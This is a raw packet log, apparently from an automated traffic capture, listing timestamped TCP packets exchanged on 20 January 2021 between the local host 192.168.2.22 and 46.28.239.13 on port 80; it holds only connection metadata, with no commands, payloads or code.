Jan 20, 2021 16:13:27.441294909 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441310883 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441323042 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441339016 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.441342115 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441370010 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.441967964 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442115068 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442162991 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442182064 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442209005 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442218065 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442233086 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442240000 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442259073 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442267895 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442286968 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442289114 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442312002 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442322016 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442334890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442343950 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442626953 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442734003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442775011 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442775965 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442800045 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442812920 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442832947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442833900 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442867041 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442874908 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442904949 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442917109 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442933083 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442935944 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442958117 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.442964077 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.442991018 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443021059 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443044901 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443053961 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443068981 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443069935 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443080902 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443097115 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443098068 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443171978 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443175077 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443202972 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443207026 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443231106 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443234921 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443264961 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443267107 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443300962 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443301916 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443327904 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.443336010 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.443360090 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.445219994 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.498939991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.498975992 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499000072 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499023914 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499100924 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.499159098 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.499545097 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499591112 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499603033 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.499620914 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499634981 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.499648094 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.499660015 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.499681950 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.500471115 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.500494003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.500516891 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.500539064 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.500554085 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.500580072 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.500583887 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.509526968 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.509557009 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.509665012 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.511751890 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.511780977 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.511907101 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514008999 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514055967 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514097929 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514127970 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514151096 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514158964 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514182091 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514187098 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514192104 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514194965 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514206886 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514209986 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514229059 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514249086 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514255047 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514269114 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514272928 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514282942 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514295101 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514302015 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514322042 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514336109 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514349937 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514625072 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514652967 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514677048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514693975 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514707088 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514734030 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514745951 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514760971 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514837027 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514858007 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.514874935 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514888048 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.514983892 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.515012980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.515023947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.515041113 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.515186071 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.515211105 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.515230894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.515244007 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516136885 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516165018 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516213894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516563892 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516598940 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516603947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516618967 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516633034 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516638994 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516675949 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516685009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516700029 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516711950 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516740084 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516741991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516774893 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516781092 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516803980 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516817093 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516827106 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516833067 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516849995 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516864061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516877890 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.516947985 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516976118 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.516987085 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517003059 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517009020 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517035007 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517045021 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517060995 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517071009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517083883 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517092943 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517108917 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517108917 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517133951 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.517143965 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.517159939 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.524431944 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.570861101 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.570919991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.570941925 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.570964098 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.571027994 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.571166992 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.571513891 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.571556091 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.571578979 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.571578979 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.571600914 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.571604967 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.571624041 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.571639061 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.572361946 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.572388887 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.572411060 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.572432041 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.572434902 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.572459936 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.574256897 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.581301928 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.581351995 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.581482887 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.583491087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.583520889 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.583633900 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586194992 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586251020 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586282969 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586311102 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586344957 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586354971 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586385965 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586390018 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586391926 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586400986 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586438894 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586447001 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586473942 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586483002 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586508036 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586513996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586534977 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586546898 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586560011 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586572886 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586585999 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586597919 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586611032 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586633921 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586635113 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586643934 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586668968 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586672068 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586704016 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586709976 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586744070 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586747885 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586780071 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586822033 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586847067 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586858034 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586870909 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586886883 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586895943 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586919069 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586920977 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586929083 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586947918 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586961985 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.586976051 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.586987019 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.587013006 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.587054968 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.587707043 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.587737083 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.587786913 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.587815046 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.588876009 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.588897943 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.588962078 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.588967085 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589004993 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589009047 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589041948 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589065075 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589092016 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589102030 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589118004 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589138031 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589150906 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589160919 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589184999 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589185953 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589220047 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589226961 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589267015 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589302063 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589329958 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589339972 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589356899 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589370012 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589411974 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589416027 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589436054 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589447975 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589458942 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589478970 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589482069 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589502096 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589503050 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589513063 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589529991 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589540958 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589555979 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589577913 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589579105 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.589607000 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589673996 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.589786053 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.642765045 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.642792940 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.642815113 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.642884016 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.642961025 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.642981052 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.643011093 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.643018007 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.643141985 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.643168926 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.643184900 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.643199921 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.643260002 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.643297911 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.644164085 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.644197941 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.644221067 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.644256115 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.644285917 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.644383907 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.644422054 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.654067039 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.654237032 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.656841993 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.656876087 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.656899929 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.656917095 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.656949043 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659096003 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659172058 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659197092 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659195900 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659225941 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659230947 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659238100 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659275055 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659276009 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659310102 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659312010 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659347057 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659348965 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659384966 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659398079 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659435987 CET	49167	80	192.168.2.22	46.28.239.13
Jan 20, 2021 16:13:27.659473896 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659502983 CET	80	49167	46.28.239.13	192.168.2.22
Jan 20, 2021 16:13:27.659512043 CET	49167	80	192.168.2.22	46.28.239.13
